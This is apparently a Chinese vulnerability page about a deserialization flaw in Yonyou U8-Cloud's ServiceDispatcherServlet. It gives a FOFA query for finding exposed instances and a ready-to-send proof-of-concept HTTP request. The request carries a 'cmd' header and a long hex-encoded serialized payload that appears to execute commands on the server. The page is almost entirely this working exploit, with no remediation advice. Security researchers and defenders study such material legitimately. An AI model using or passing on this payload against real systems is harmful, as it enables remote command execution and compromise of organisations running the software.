跳到主要内容

用友U8-Cloud接口ServiceDispatcherServlet存在反序列漏洞

用友U8-Cloud接口ServiceDispatcherServlet存在反序列漏洞

fofa

app="用友-NC-Cloud"

poc

POST /ServiceDispatcherServlet HTTP/1.1
Host: 192.168.127.145:8088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=1.9
Content-Type: application/x-www-form-urlencoded
cmd: dir

{{hexdec(00001914727189016C892E2F8BA278C72063787E59BEA3481C7201E17EC0BB31C2952D811155B0285DAE74215666F328294C95C02E25F12A9E10AA555FF7DFAC54D9292FFF217AB0D73F7DE5929A52F343395BF5C5C310D23D9F2D02E50163B4D8EAB83ED7BA0921E1EF25515DB82C728DDD2697642D6DB7A3E290124431013034ED434CBA2B37EE08AA03190FFD0049BA33542B8EC28B04A0003A167DA10442BFBBFC43285E0489C1B6B6EBD8F1F0E20742D7F96D4A24F4E319774ECFFDED69F951A965B15C3AAF66D7353EAF16F7B8F3DB1E82C1621D04775DBA169A9075040D3988CD49898DD9E0BAB6149A81F0DCE73BC2A076AEA9F51BF08ABB9466ED56F4E41D0D38CBF50F8E61212A8935DB2C97FF671AA42031DE2DB0F400C0120DE9D6714E935754035E6176C08FA220D677C9106BE646C87C6543534C3EB4B3FDC6859326154AEA6C9243B6460EBEFA69DE0D797085D0E89936CD8CBF00FFB645C7930F68CB2F46348F845DF2496EC6B7C20D2C7E359207D76A17C76ADFE6CA1D07B793EE3FF5E22DBE21CCA3786547D3ED56264360F028F744FEB799B96A884583A12BED9AF618ED8274AF99EBFBE8C539F40F0D5D4E5846F18E11750600F245865A6BCEE98D87CFD50E13E35EBCBB7BE63051E61EC9460E094D893E69AFCDAD48EC84CA426C1CB161D73F7DE5929A52F3252F1B7ACE20B728843D5C43668966247290B93BA2A3B28D5F2D9E2038902D0E088ED06B44F81942F6A772BFDF555BF8970FD067EE7D2E53703511CA23050357509DFFE6409CFFCAC645EA21F5E56F9805739630776DC9E20FE5CF42210EE94F83E3287DF06AEE3B50A515114DFA63A6C1BAF86E361C6525C6C6F07CCBA760BBF397503700E81BF0DCD2C31830611F796F669DB59792C7B487F77B83118FB9FBAFC557C4D956784891A2D045FA998AC391B72D3C9453A6098768DDDB2ED292BB9BDE0C9BE8F02193258C59455F2BE588EC4030D2BABF20B7D1B6097AAA80ACB5C82BAF355FBDB9EA57C156CF27E2CE9CE1CED68377B3254743F36D0F219BABCB8A65E7B86ABEC02FA984C6D426C4663F3221C91FCF7CE120F176EABA39E5C201BAF78832A0DBE8651833D5742B6D72C33B9CC75DE4027EE8A52F5DE1845465DE835FEADC3BFBD8C9545424E1B7C3BD3BA5C6C93456BAA98745DB91565E7BD98CEDDEACBC1509EFE5155D609C1E562BDE3160EB614CA0B2871F2D4FC083727A1F9FD311F8E47FB920046A5F572BC70A34B65C37A0B49C623F1553146CF4F657B01DD1900C041C7B2FC6BF6A796D4DC487351012DDBCF8D3DDA65AE8523DFB38B671DAFB37B64E58624E9686EC8EFA4707245C015FA8681126DD9F46A4D1F06ABFF6FD0F14E6BC9C560D96D9D6DE25648C3EF11C12F2851CFA9BC27B6C2FFE5F2BB5314FDABCDD2C2548021249F48717450589B3B1836FBC434DE15394D1E123DEF78C639BC25F23DA850128E8A2D4BA33E513ECEAF0FF1D69E9FF6D550F03CF9542B431EF3C989B1452758A8827848F68ECB9CE7946BF6CE999E0F8991073C789BA4A5D9EEFE4E0C6D7922D7D74944EAE32D93F2E8DC07B1849CA1981E978A43893AFECF4935A0A620B76A6D79612B45A495E3641D4E954767D85252D29F74B1B0589B3B1836FBC434DE15394D1E123DEF78C639BC25F23DA850128E8A2D4BA33E513ECEAF0FF1D69E9FF6D550F03CF9542B431EF3C989B1452758A8827848F68B45FDB6400AA3AAEF6A866EE04F858642C01704007B0B49CC92E90BD2C3633B30BFEA5D75B03AEE5BE94F3FB3C4F7F7C850128E8A2D4BA33EF5C7DBBFAEF493B7530C5DF412C99CBD7922D7D74944EAE32D93F2E8DC07B18E3A0007F071B8AC5AC2EA13A497295B17B23D7B8D2CB8C361E75FB46B8C791D430EBAB8B4DC02B4E7A3171C4911B7346A3DB3634F9379CB2AB013382A600359F8BC617E900DAE267709E3441CAC7B888E0C8AD34CFFF7097E8657197DB59B278FADA977B60FD9C7BD61AEA79889DC4705C30BFDD956C2DFCD7922D7D74944EAE32D93F2E8DC07B18E3A0007F071B8AC5AC2EA13A497295B17B23D7B8D2CB8C361E75FB46B8C791D4898AB957A256E3C3CCBA13E3BF5E2A03D1E4E6B83FCF1F5FEFC3112682470D57FEA36FFDA6B71C32AE1CB9C6EE0EAB9D629E46495A809EE75ADD37E6E357C3CC5CCB6CC666E124E837AAE72085EE01C31ACCE2A8A01891BB8AECE828BF46EEC97E7A8EAF4F72F4B30F412F8F618946924B8486B4D3A1D25066826A7BD5DD9F1E6D0C439DB578548510BBE4EDBB4CA7B4344C92ACD6E2CC0CE6E47D426CA65794158DBF8441D41B32CC28BF85FC1FD12E054D29342D6283EAA8C0CE9E97C24BE2D3A65726AFCA62F462016F6B655CE3CD69297E0BBBC227467A6D4F25939C36E9A195E0635F21A8CF8C91DD91548DA99F5B269F7628FB917ABBC9C9CB65DEA4135DC596FBFC00A20E344C92ACD6E2CC0CEABD14AEDDC9CD1395FDAE44775792BA98CF8271FC407A20D9C2F8BF4FD963367D9626FFB9C835E747BB6FAD1986B523DB1D46CD4274E55319D6E0E56140B4D3F951A965B15C3AAF66D7353EAF16F7B866398CBFAB242ACA727133295EB6F6BFBBE93EFBF6209849B80C54169081FF4F2FB3DE1F7A9B2A2111EF4BAEA41FAD59B0403999E053BD163D0ECCFA5814EF2BB49539BC2473CC2E52DA113D2D989EF97ABE91A6904D4842E1F66C4B8111C715C895270BCA5B2EE5048ABDABD3022CEADE64B85DD1F3FA82CC28BF85FC1FD12EB7DF248C06BAC45557B98FFC0988AD078AB1B631A903C576D732D57CB37DE4C2D8F81B3BD6C6863EC895270BCA5B2EE57F7D2D51D002DF8559C128348DD85FB7C7C983BC9FA90DD237140C009B50E128DE0968C484C080B06814765AFD954C6D7805D9D6C76D139B913A8B2F3A648FEEA3CFC8B6E79CE915F11C66C1FCBDE7E291F08FF76676DE4BB30F765745E6FAF97CA5179C7B39A8CAAD25AE6C92DD5C6666EAF433E0C635D6979E9E9A2093D2861D10E6A0D4BE290A8ED44F4FB889867CB795556D001F482469D3BDE4F89789EF093E4FBE3CD12CBAABB97D0E2862C0D9B11115A6797650870C8B9AB9E487CF14F951A965B15C3AAF9D23457970CD1393FF184704D2A65C42DC50963A02AD990C7048984E0709B88F4BA2403285BFCCD6B80C54169081FF4F509469217E8232CAF0C2967CD813942591AB960A02959DC11E9D8E3A69E4BC1BD6476FDAA253046089F002A65393B6585554CD811C663EA6F951A965B15C3AAFB17F8AFC6908E58C093D867F9C785E581C41AD9C725F139CE399E87DEBB05568F951A965B15C3AAF66D7353EAF16F7B80F9E0624DF4C748342B3F0644CA457624923254E7274BA96CA826149308EC01BF951A965B15C3AAFE0E6CEB8D971E8DE240A3FDAE2B0E8ED1CE48C71F3C17B62CA576126B54BA5BE11A9D09CBCDFCC4AA78B937E5C4FC52E34343942F59D5D5DC20BF06F5677C5EE5126F81EEE8BC25D88FF6E6C5DB6CBAEFD0FE93B5822AC7A3D21C6147FDD2CB7E9CB3534596E12F76D09C8B52615860B6916BF8F27C371A5C004A4BB97D54E3D1BAD784275B47AA302E324400B0B65066C575EDE17ADB28F10D6C55DDC0082C45363B125A5361C173B07E418F0A716C22385033E270C3DC0967A90A3D49451ECB408107D0FC78E32870D655FDB20209D1B1B0E59017C755952FFD898D40095E6946939C6701202F333843E465B3B6085526C72238B9D18E2344C92ACD6E2CC0C69CF1EEDD106AA0878322F87B8204E05E9BCA1625AF5F771392CFE9C24AD8905A14BBFFB4C518746C3D5AFC2AF1FBBA7907960CFD613EE5F344C92ACD6E2CC0CD3A65726AFCA62F45AD62983C0A435306ED88BC2D3733A1F4ACCB662E46A8A54E3E55ED92B897FF6ED4EA0B09F239275F11C66C1FCBDE7E27074EE28E25E10260D96D9D6DE25648C3EF11C12F2851CFA9BC27B6C2FFE5F2BB5314FDABCDD2C250687B2EC1F410E1C9F5216D00D7933AE66E5FB22543B8E0E0BEE48DC0FC357856F972B3B1D0FD9D2B3FC83ADC8BD3DA0AB031B3A39D567A0AE1CB9C6EE0EAB9D66E7D566E19A055D12A3E5BD9A3C2321C3DAB76FEE9B113871D60C63E99EE154C895270BCA5B2EE5048ABDABD3022CEAEC256E3F9290F8A5BC581BBB99200AFEA4147811916741EB70AFC3273D76B6E6344C92ACD6E2CC0C869774051396CAB6D7FF0984DCFAE5A818BAECE3FF8BF37541A70A8698380641344C92ACD6E2CC0C4E2A3944817B3775D502386E40FE8165D00254794E7B35798F4877108B11E80AF951A965B15C3AAF1EED865C5D61662986B7035D16BA9CAD16CEA9E4A7BF05D92AEDE2A4E5A2916BF951A965B15C3AAF87512D473BAA63B59643BB22AD2679137DC96DA82CAC45598185AC711EAFEB8D2BEAB1FD35BFE536F49CD15A800D19237471B7724FB6DD62D9BD833FAB32AAD5D0FD91F465597AB200148E9A690C56D74D81ACDE92285B44442353025297ECA37DA5160810FCD101D254166DDEAA5357F951A965B15C3AAFB17F8AFC6908E58C2C4ADE4570626658F2BCA6A28C41326D7DA1EBE21660B772A8547F3EBEA4B8595917E54C5DBD6C7FA1395BA70574C33DDD8E70C2E9DDCD399F43514CC0A4391AD0775D47181494A78E11750600F2458615353E471ACC5A0902F0F84E05F320DACA55037457B460E6BB88C795E8F50C7F2A07ACF00CD33BFD744DBFEE63695F93CD3C6E804866D89A13C277FD108E80208A955EF4C615BAFEE25278A3EF9689D54960658F0F85F723C07F1E45903D58968D9016F3A3ECE397F951A965B15C3AAF87512D473BAA63B5CD3C6E804866D89AB484920D67A32844AF21821A57D37BF4FECFA08AABCF9CEB7A6D4F25939C36E980389F6047F638DBCB26EE37010FF9B9D03A314B3209153A260FF8D826D144C6344C92ACD6E2CC0C60C8AF7F171B7217CC28BF85FC1FD12E4AEC76601ACF4394D23258AB250AA3A658E2BF804D3C8A0EEC7D223F8BA8D6FF04F892DCA8079F6C12CEB6354162CC85F7069706584960207288323537239EF2344C92ACD6E2CC0CC29D19EDE0C45328DC337CC51DDB78EE98823A46D3BA1852CC28BF85FC1FD12E69B13F55042667ED43D0E6C04AB1DB98A1395BA70574C33DE0044AA58390F5F6A5DB8B4945EEA47A9D1462CF9BFF4E7CCC28BF85FC1FD12E69B13F55042667ED5621EEC70AC10C7C3A77A3A9CEE28AF0CD3C6E804866D89A851039CBCE45CCE4475F46A6F0CB31B67A6D4F25939C36E9503177368A1FD4D60F1D31A1C883E7D96F3476909AB730C4A8CA73A8F15DBD661AA3E20BA48F5C718D214924FF5370C8B0DFE85E489EBCFCFB7DA0D4F418BEEEEA071242A60CD0A0EF93B9CCF393A9FB310A1528E6E8F4F30AB28D7BFE44C66C2BEAB1FD35BFE536F49CD15A800D19237471B7724FB6DD62A4B49D31438C082F4AA5902B03060723C534C956689051990B3693805C5740B41E7659B9B0A4B9C3E177C604A522B67D6388C04BA20311CC7A6D4F25939C36E9A195E0635F21A8CFCD3C6E804866D89A15A1DD01A53BB1020C65273E47E965F03C1BAFE4906250D341A70A8698380641344C92ACD6E2CC0CEABD14AEDDC9CD13A64F8823519D5AF5B20C08503E6336D92E0DA378B426136ED2D055595C2E65392A0315936DE6766224A1A92591683B9C6839D6460E3C002101B5456860E20109DBCB865924044A9B65B513F91E46339CDDFE3729E37451CBD89F71D5ADF759B1EBCE4C308862727D9ADBBCBE994C44F52F2C89CC3E43E6937B86150015ED1CD0D9852D0C4D4E673FA4F7B0BFDA085BE8A359947D4D3BB48DF84746A42497781DA1369D88CD701F56D3EBCDCBFEAD7775F0034A77B44A6E8A4917540B4B1AD21A91913D82EE8CDC70416B773B2FDE1266FE6FB3A7718763F899D851D3DEEE0C94EF0ACE56B68B22983974AFEFF76B5BC18FB2624765A7597A359BB5E11882D230AE271E4791D6745DA4A9FC3816C1321A4CAC9138EC17CBF2CBA1BF9DF90802CF22BF9001F56BA3BE496D89B9827A48873D1757D475B4E6C0C5B3EEFFD75868A57F5154D956A835194917540B4B1AD21A4B2BAC125C1F6D13E496F321CCCBB3A48594DEBAA0666287C29568909B3D5F4CEE864977CDDF66B26E5D2A671CEA83B920DE5E618B436CBA6BE11ACC1A15BD8F6BEF5316B327DADDDF109DF4E978E2F1D84FB007EB4918FABD4216A6DD3D0436753E4313CB2C18F99ACFC74B0A90FB54A307E8EA8D623DEA34BF4BE8DB3E0139B64489A707A70EC9AD8466D37BEAE5FB756928794873CF5583B0510C4D0E019762CFD1A9A1084DBED5B53F2EB083033BA3D2685A00D63D194CA1B6B13F0F3C6ECE1DE5668441079E5347E114AD8727843F172ECF417F7B47066594CB939A3BB27090B4DC719FDBFA69024F06B4DF56B065D93BE741057C06690F158777246E813D08F5BF0C112612E6D880367E3E77879AED34E58D0BE93AABE8792112742C86B0E422D4A3580675A91656D55F870187E9BD9E2DC1E7D14BD9D8C8E43F4936905A5CD8DE80C32AD3E2158457DA7A3CC1D9D8C8E43F493690E10466C0AB47AE8CED6B1EE75FEEDDC9E94A84115BD2C642DA82D64FEFCA061F9325680B39B408C93E1AB4E75BF59EC9D9D8C8E43F493690C47D524218AC714A6E39E5ACBD1FB4CA8F669F847D3BF17F9B76BC3D4EF379D084B38C69311F8EE722A79B8197844CFAAB06D3A8A7640CBDF0B594CC88D9B3C1AABD15BF2BE256D69D7E8456915E118AD20C56596D5AB209169C56E2BC38715133D4AFE9E3B6628AF21481606C0F8B54C2CD64FCF42AEC58A5C0A0D712F6615C668B03C9AD4F837F85A44C27C7D96CD839B3CAF49E2E193D273E235DAAB85A1AFD5D35AE8DAF04325500FCA33E96DF35B546F565A9960D27509A940A4892486C32C6D29EEFDAE13B709A7F92A4B6C3A0BCE6103A482C29DFD89215A80E767CA611F7CDBA619E1BCB1DF36B4CD6A5444445FC1C129C85C5074922759DF72D655E55E4D3EE49ADA75DEA17FA371A5889E9CA71DC458EA264C75908BD9D8DBF7137FB7E11CB0C5ED386CF18678E6753F3E44EB56BAFA0C8D386EB7FA34713746DEB7C8E205E1019073E07A91C7726DFE5BABF57394B68286DD8837D6D261A5D182D06B27C3D7D7642A90D49F75139C6163D8123ED0FCEA03D5A715E420E2A88F0CAA2CD1B1A96EA9F7D88EB66FBCF7B9B7F0B9891944918FACA1319AC9F4854466E55E377DC5B6B919FB0E223EF39DD8170CCD54803D6827CB1D64EBF18F83DD50977CE5C00A55F2A1EBAD06A858FD32D8ADED0E29738C5A0B98BF4D5B36BCB323F83C6EF3C5EF0EEA2F749D02B6733270E071CD2BEDAF439C07B0D10C3079F38E550CF457580E578295D72E053CA7A73631040F9E48A00002DA2910C4712F302C7C5CC9F48EA6DC740EFC779541E3599480BB15E60BF2134D9BD2ACBB96E06F8C15DDCAB0F165F7A9C0984294EADFA34DFAADC80CD7DAC57027E5DED519275BF830072ECD03D7385B0F10269C162428C0F24AD0AFE2F5C36BFC6C03ADDFAEA759C55B5E03B643D42ABF58CE6E4C01EF0C46F81B25572989ECABE684C28DF3460761804F50DC5FA9A36BE081932BF3285F67AAA2FC946ED6DD3B3869CB7D2F8FBEC226768AC2BFD3DB02F50ECCA8A4E94822BB1D53AF4F11FE91B9C9A52BBB1B68497B62ABE1113AD674EC48A0D1197B1B33BFA717047AD4BEEDAA67552A587CA932213CD5A0D483B7BFBEEE49F20385D3FDF2675C00AA696D0A258B1BBD4456E3F63CF52DF9485FE8CD22505673A50A18C23FBE71B02D70EA552E79783F5D8A1CCADEAC5DEB69C625C5339DB2D0AB251B560566CAC67C4CAF1969A8C0120A879873C883EA69DD51F0C29F84075D6A4B6B145971EA15206AE0F356A5704B3FDFE3BD6CCF40BE371B1833E7B266D7196C2438A1EF9BA770C17A682D67A54285A81D995B4D55B111DE632C9622D1F829568DDFC0C0C2EE72C89E18C2C90D03120F42276BD8B2F02D9408CFA0E4682652F6ECB321A630F029BACAE2048258639CCAA9422A9148FDE7CFA1D51C68A922051AC55DC645E027E1DF3323C0B0FF60ED37EBC15913B5DF08363C3B1173AD7AA82772B0A7C1C8B2BEC82F63D6AFC04884B86EE14830217A2452AF04635FE3699BE1A6672753E1277A8D5A6E80BB913E2A64FFCCB61B63C5510BA53CFDCDF51E1C4D2692C9240E5B33C09C27F9F0B1F2ED90D771513CD8E2707282560937A88E091C403E7F6F197A955CFD7CBF788ABDB46A47CAC74C97C31DC4AF3C28C841ADBAE05A03FDE58FFE7BBAF272427FA8BA34F5FCBAD4EB0DD5D7DA96980AAB2C1BA72880BDC8BCAE1B3100054B4F0D314F3D6AC95398AD5216825E9E2E7085EDE103625B42EE4713C74FB92F964CE42B7DF3A9DC9FE0FFDA1265ADA1C38FDE56DC515D610D1304D45B675223F372052190211763AECB3ACD5BB595B92A7E5A7704F21BF24F38C64D16532774ADDE06038B410435961A3FB2A083A4247CBA2606D50F9E7C9E9C0A93A6D734AF8A2DA31871C373C0C03DF20EAA37E1D8FA62901FDC1F522EA5897E54D225E5D38D5646D63B4F268E083018471F86A642953F42E79C50F86B9ED29B537C51D2A71081B3F55AFB3445D33697B32D8916D76F0CF915738F2876D4DC12A446E9C94C8EC41B59577CF52369C45A2F0CBA236DC50BA122CA9D4C438A15EFB3EF745EF5E3FDABB63CB10AEBAB4438BD89198FF877A6D4F25939C36E9305EB300A7DC143DF09F1EC9FA6D608F6A11ED1FB4256F33CB00EE218446DA09ADBD387AB887C4E6D5646D63B4F268E083018471F86A642953F42E79C50F86B9D236D418B108205DD9C514E1228C1A94C25503AC9B20E474420066A0977C8F1F77D3456DCB2F3B388E0B7F2A8AB2D40B0164EEF892181C4A52F778146C79C21B5501192EE9D2091C5A6815C550BC35CB85ADA3FB7297F42AC1E894FF401733475056CF5ADC5BD4C015A5AC8F241516192855B04D85EC24E5642F8693638B0A12E9D42450E2EC396DB0B66554F7BFB403)}}

image